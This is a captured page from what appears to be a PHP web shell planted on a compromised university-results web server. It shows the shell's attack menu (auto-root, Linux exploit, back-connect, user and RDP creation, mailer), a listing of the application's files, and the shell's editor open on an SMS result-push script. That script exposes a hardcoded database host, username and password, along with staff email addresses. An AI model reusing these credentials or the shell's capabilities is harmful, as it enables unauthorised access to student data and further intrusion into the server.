Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 18.224.38.176
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
results /
mcu_stop /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.DS_Store
8
KB
-rwxr-xr-x
PrinChallan.php
732
B
-rwxr-xr-x
Thumbs.db
19
KB
-rwxr-xr-x
applicationFormReport.php
11.13
KB
-rwxr-xr-x
applicationFormReportNEFT.php
10.86
KB
-rwxr-xr-x
applicationFormReportPOSTOFFIC...
21.18
KB
-rwxr-xr-x
applicationFormReportSBM.php
29.41
KB
-rwxr-xr-x
cappcontext.php
2.64
KB
-rwxr-xr-x
cappdu.php
4.09
KB
-rwxr-xr-x
code128.php
14.86
KB
-rwxr-xr-x
code39.php
6.38
KB
-rwxr-xr-x
coutput.php
1.96
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
516
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
customappcontext.php
2.34
KB
-rwxr-xr-x
getnumword.php
7.15
KB
-rwxr-xr-x
json.php
33.72
KB
-rwxr-xr-x
json_wait.php
33.22
KB
-rwxr-xr-x
mregistry.php
1.71
KB
-rwxr-xr-x
process_payment.php
3.64
KB
-rwxr-xr-x
re_cronjob_sendsms_bcu.php
4.96
KB
-rwxr-xr-x
result_sms_push_bcu.php
4.77
KB
-rwxr-xr-x
results.php
36.2
KB
-rwxr-xr-x
revaluation.php
28.12
KB
-rwxr-xr-x
revaluation11.php
26.33
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : result_sms_push_bcu.php
<?php /* * Api For sending result sms through web export after uploading the result * url == http://studentportal.logisys.org/result_sms_push.php post data == funivcode=003&fdbname=logisys3_kus * */ ini_set('memory_limit','900M'); ini_set('max_execution_time',0); //include 'database.php'; include("sendGridMail.php"); //connect to database $servername = "97.74.228.93"; $username = "logisys3_logu"; $password = "Logisys@2106"; $conn = new mysqli($servername,$username,$password); if(!$conn) { die("Connection failed: " . mysqli_connect_error()); } $commondb = "logisys3_comexam"; // Will be sent by mohan sir through web export $db = 'logisys3_bcu'; $univcode = '041'; //Result Push data to common databse if( $db != '' && $univcode != '') { $sql1 = "insert ignore into {$commondb}.sendsms(funivcode, fregno, fenttype, fsubcode, fmessage, fstatus, fdeleted, fyear, fexamtype,fupdate) select distinct '{$univcode}', x.fregno, 'RE', x.fexamno, concat('Dear ', st.fname,' (',x.fregno ,')',', your result for ',d.fexamname, ' ', d.fexamdate, ' exam has been announced. Result : ', y.fclass,'. Visit student portal studentportal.universitysolutions.in for details.') as fmessage, 'F', 'F', x.fyear, x.fexamtype, now() from {$db}.res_fee x inner join {$db}.resmarks y on x.fdegree = y.fdegree and x.fexamno = y.fexamno and x.fregno = y.fregno inner join {$db}.degree d on x.fdegree = d.fdegree and x.fexamno = d.fexamno inner join {$db}.student st on x.fregno = st.fregno where x.fresultdate = date_format(now(),'%Y-%m-%d') and fclass not like '%Fail%' and ifnull(x.frespush,'') <> 'T'"; $result1 = mysqli_query($conn, $sql1); $sql1 = "insert ignore into {$commondb}.sendsms(funivcode, fregno, fenttype, fsubcode, fmessage, fstatus, fdeleted, fyear, fexamtype,fupdate) select distinct '{$univcode}', x.fregno, 'RE', x.fexamno, concat('Dear ', st.fname,' (',x.fregno ,')',', your result for ',d.fexamname, ' ', d.fexamdate, ' exam has been announced. ', 'Visit student portal studentportal.universitysolutions.in for details.') as fmessage, 'F', 'F', x.fyear, x.fexamtype, now() from {$db}.res_fee x inner join {$db}.resmarks y on x.fdegree = y.fdegree and x.fexamno = y.fexamno and x.fregno = y.fregno inner join {$db}.degree d on x.fdegree = d.fdegree and x.fexamno = d.fexamno inner join {$db}.student st on x.fregno = st.fregno where x.fresultdate = date_format(now(),'%Y-%m-%d') and fclass like '%Fail%' and ifnull(x.frespush,'') <> 'T'"; $result1 = mysqli_query($conn, $sql1); if($result1) { $sql1 = "update {$commondb}.sendsms x, {$commondb}.masuser y set x.fmobileno = y.fmobileno where x.funivcode = y.funivcode and x.fregno = y.fregno and ifnull(x.fmobileno,'') = ''"; $result2 = mysqli_query($conn, $sql1); $sql1 = "update {$db}.res_fee x set x.frespush = 'T' where x.fresultdate = date_format(now(),'%Y-%m-%d') and ifnull(x.frespush,'') <> 'T'"; $result3 = mysqli_query($conn, $sql1); echo "success"; } else { echo "failure"; } } /*if($result2) { $query = "select s.funivcode, d.funivname, s.fenttype,count(fmobileno) as pushcount,date_format(left(fupdate,10),'%d.%m.%Y') as pushdate from {$commondb}.sendsms s inner join {$commondb}.dbname d on s.funivcode = d.funivcode where ifnull(fmobileno,'') <> '' and ifnull(fstatus,'') = 'F' and left(fupdate,10) = date_format(now(),'%Y-%m-%d') and fupdate >= DATE_SUB(now(), interval 2 hour) and s.funivcode = '{$univcode}' and s.fenttype = 'RE' group by s.funivcode,s.fenttype"; $result = mysqli_query($conn, $query); $count = mysqli_num_rows($result); if($count > 0) { $table = '<table cellspacing="1" cellpadding="2" border="0" align="center" bgcolor="#505151"> <thead> <tr bgcolor="#e1eaea"> <th>Sl.<br> No.</th> <th>University <br>Code</th> <th>University Name</th> <th>Event <br> Type</th> <th>Count</th> <th>Date</th> </tr> </thead>'; $i = 1; while($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) { //var_dump($row); $table .= "<tr bgcolor='#ffffff' >"; $table .= "<td><center>".$i."</center></td>"; $table .= "<td><center>".$row['funivcode']."</center></td>"; $table .= "<td>".$row['funivname']."</td>"; $table .= "<td><center>".$row['fenttype']."</center></td>"; $table .= "<td align='right'>".$row['pushcount']."</td>"; $table .= "<td><center>".$row['pushdate']."</center></td>"; $table .= "</tr>"; //$sum +=$row['pushcount']; $i++; } $table.="</table>"; $emails = ['prashanth.k@logisys.org','arun.v@logisys.org']; $subject = "RESULTS SMS DATA UPLOAD STATISTICS"; for($i=0;$i< count($emails); $i++) { $emailid = $emails[$i]; //$resp = sendGridMail($emailid,$subject,$table); //echo $resp; } } echo "success"; } else { echo "failure"; }*/ ?>
Close